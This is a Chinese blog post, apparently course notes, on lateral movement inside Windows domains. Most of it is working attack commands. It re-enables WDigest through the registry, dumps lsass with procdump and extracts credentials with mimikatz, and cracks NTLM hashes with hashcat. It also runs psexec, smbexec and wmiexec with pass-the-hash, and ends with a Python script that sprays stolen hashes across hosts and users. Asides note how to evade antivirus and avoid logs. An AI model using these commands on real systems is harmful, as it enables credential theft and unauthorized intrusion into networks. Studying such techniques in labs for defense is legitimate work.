【内网安全】域横向smb&wmi明文或hash传递

下面讲的是psexec&smbexec以及wimc&wmiexec

知识点1:

windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,提供了4钟方式解决此类问题
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启wdigest Auth值进行获取
4.利用工具或第三方平台(Hashcat)进行破解获取

知识点2

windows系统LM Hash 及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash

注册表修改

修改wdigest  改为1

reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t  REG_DWORD /d 1 /f

案例1-Procdump+Mimikatz配合获取

如果Mimikatz直接获取失败,可以结合Procdump使用
Mimikatz一般在实战情况下,我们是放在对方服务器的上面运行,如果远程的被拦截,杀掉,就可以使用Procdump来配合获取密码
因为Procdump是windows官方自带的一款工具,就不会在实战中出现被拦截的情况

两步完成利用procdump64+mimikatz获取win用户密码

procdump配合mimikatz

1)导出lsass.exe(管理员权限执行)
procdump -accepteula -ma lsass.exe lsass.dmp(在dos下运行,不要在powershell)//运行成功之后就会在当前目录下生成一个lsass.dmp,这个文件就是密码哈希值储存的文件,然后用mimikatz载入进去打开就可以了!

2)执行mimikatz(管理员执行)
 mimikatz上执行:
 sekurlsa::minidump lsass.dmp
 sekurlsa::logonPasswords full
或者一句话:mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

实验:
在window2008中使用procdump获取lsass.dump文件

在真实机中用mimikatz还原:看看能不能获得windows2008的明文密码和hash值
1、打开mimikatz把windows2008中获得的lsass.dmp复制到win10:

可能会出现error,是因为权限的问题!

 

 mimikatz是在虚拟机中,procdump是在windows10中,在实战中只需要在对方服务器上上传procdump即可,再把生成的文件放到本地的mimikatz去还原密码!!!,它和直接在服务器上运行mimikatz有什么区别?在于它能实现mimikatz在服务器被拦截或者杀掉这种情况。

procdump不存在会被杀毒软件拦截的情况,这是微软官方的!


Hashcat破解获取windows NTML Hash

# Pwdump7

# QuarksPwdump

hashcat -a 0 -m 1000 hash file --force
-a 0 表示采用字典破解
-m表示破解的协议
hash就是破解的加密字符串
file就是字典地址
--force爆破
 1000 表示 NTLM

密码破解全能工具:Hashcat密码破解攻略 :密码破解全能工具:Hashcat密码破解攻略 - FreeBuf网络安全行业门户


案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)

psexec是windows官方自带,不会存在查杀问题,属于pstools,实战中就将psexec上传到攻击主机上面去,

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
对方开放445端口,就相当于开放了smb协议

psexec第一种:先有ipc链接,psexec需要明文或hash传递

补充:

445漏洞利用之IPC$:

命令:net use (不是net user)
准备:首先在win2003-1下的D盘建立一个共享文件夹叫share
命令功能:将远程共享文件夹映射到我本地作为一个分区来使用

    net use  \\10.1.1.2\ipc$ 密码 /user:用户
    =====================================
    net use f: \\10.1.1.2\share 密码 /user:用户
    net use f: /del
    net use * /del
    net use f: \\10.1.1.2\c$ 密码 /user:用户(把对方的C$映射到我本地的F盘来使用)
    c$对于对方来说物理路径就是C盘,IPC$没有对应任何一个盘,但是连上后,对方的所有盘你都可以用,虽然没用物理路径,其实最厉害。
    ==========================================

net use \\192.168.3.32(目标ip)\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd       # 需要先有ipc链接 -s以System权限运行

这里我没有复现成功:(不知道什么原因)《win10上没有成功,我觉得可能是专业版的问题》

 在两台win2003上复现成功!!!

 

psexec第二种:不用建立IPC直接提供明文账户密码(推荐)

psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd 
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方Pstools无法采用hash连接,需要用工具包

复现(在两台2003上复现成功)

 

上面是建立在已经知道明文密码的情况下,如果我没有明文密码只有hash怎么办?

 psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

 

不用工具包的话,官方只提供明文传输,上次讲的at和schtasks全部用的明文。用第三方库impacket它是不需要明文密码也可以连接
同理,今天学习的psexec去连接的时候出现问题,这里使用工具包可以连接

 有明文尽量使用官方文件,如果只有hash,只能使用工具包进行连接了,不过容易被杀!

非官方自带-参考impacket工具包使用,操作简单,容易被杀

smbexec无需先ipc链接 明文或hash传递

smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

 连接的时候要注意本地用户和域用户的区别!

复现:发现获得system权限

 

hash传递:


案例3-域横向移动WMI服务利用-cscript,wmiexec,wmic

WMI服务要比SMB服务高级 ,通过135端口进行利用它的条件比smb低,135开放就行(135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。(这种连接在日志中找不到的,上面讲到的smb是在日志中找到的,会更加隐匿)

自带WMIC 明文传递(官方) 无回显

只能明文,没有hash,缺点是无回显,就是不会反弹shell给你,就是你的命令结果写到它的文件夹里面,然后你自己去文件

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c  ipconfig >C:\1.txt"
(连接3.21,当前用户账号密码,连接cmd执行ipconfig,结果保存到c盘1.txt)

自带cscript明文传递 有回显

它有回显,会直接反弹shell回来,但是它需要借助wmiexec.vbs这个文件(用自带命令配合一个vbs去运行)

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

套件impacket wmiexec 明文或hash传递 有回显exe版本

优点非常明显,不仅支持明文还支持hash,还有回显,缺点就是要进行免杀

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(连接本地账号)
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

 

 思路总结:

如果只能用hash连接,涉及到impacket工具包的时候,但是我免杀也不会,怎么办?
就会涉及到PTH、PTT、PTK


案例4-域横向移动以上服务hash批量利用-python编译exe

pyinstaller.exe -F fuck_neiwang_002.py

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'webadmin'
}
hashs={
    'ccef208c6485269c20db2cad21734fe7',
    '518b98ad4178a53695dc997aa02d455c'
}

 

for ip in ips:
    for user in users:
        for mimahash in hashs:
            #wmiexec -hashes :hash god/user@ip whoami
            exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
            exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"  #连接本地用户
            print('--->' + exec + '<---')
            os.system(exec)
            time.sleep(0.5)

添加一条本地用户:exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"

这样就拿下了3.29、3.21、3.32主机

涉及资源:
https://github.com/hashcat/hashcat
https://www.freebuf.com/sectool/164507.html
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/SecureAuthCorplimpacket
https://gitee.com/RichChigga/impacket-examples-windows
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
ProcDump - Windows Sysinternals | Microsoft Docs
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码: xiao

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值